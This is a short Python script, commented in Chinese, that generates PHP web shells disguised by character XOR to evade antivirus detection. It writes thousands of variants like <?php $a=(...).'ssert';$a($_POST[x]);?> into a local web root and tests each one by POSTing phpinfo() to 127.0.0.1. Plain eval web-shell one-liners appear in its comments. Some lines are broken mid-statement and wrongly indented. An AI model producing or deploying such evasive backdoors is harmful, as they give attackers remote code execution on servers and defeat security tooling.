import requests,base64,time,sys,threading,queue
#異或免殺
#<?php $a=("!"^"@").'ssert';$a($_POST['hacker']);?>
#<?php @eval($_POST['hacker']);?>
#!和@ 先各種轉為ascll碼，再各自轉化為二進位制，兩者二進位制異或結果，轉化為ascll，最後轉化為字元

#string 檢測phpinfo是否執行成功
def string():
    while not q.empty():  # 判斷q不為空
        filename=q.get()
        url 
 
= 'http://127.0.0.1:8080/x/' + filename
        datas = {
            'x': 'phpinfo();'
        }
        result = requests.post(url, data=datas).content.decode('utf-8')
        if 'bingtang-PC' in result:
                print('check->'+filename+'->ok')
            else:
                print('check->
 
'+filename+'->no')
            time.sleep(1)

def shell_test_check():
    url='http://127.0.0.1:8080/x/33xd64.php'
    datas = {
        'x': 'phpinfo();'
    }
    result = requests.post(url, data=datas).content.decode('utf-8')
    print(result)
    if 'bingtang-PC' in result:
            print('ok')

if
 
 __name__=="__main__":
    q = queue.Queue()  # python queue模組的FIFO佇列先進先出。
    for i in range(1,127):  #ASCLL從1到127
        for ii in range(1,127):
            payload = "'" + chr(i) + "'" + '^' + "'" + chr(ii) + "'"
            code = "<?php $a=(" + payload + ").'ssert';$a($_POST[x]);?>"
            filename = str(i) + 'xd' + str(ii) + '.php'
            q.put(filename)
            with open('D:/phpstudy/WWW/x/' + filename, 'a') as f:
                f.write(code)
                f.close()
                print(filename + '檔案生成成功')
    #多執行緒
    for x in range(10):
        t=threading.Thread(target=string)
        t.start()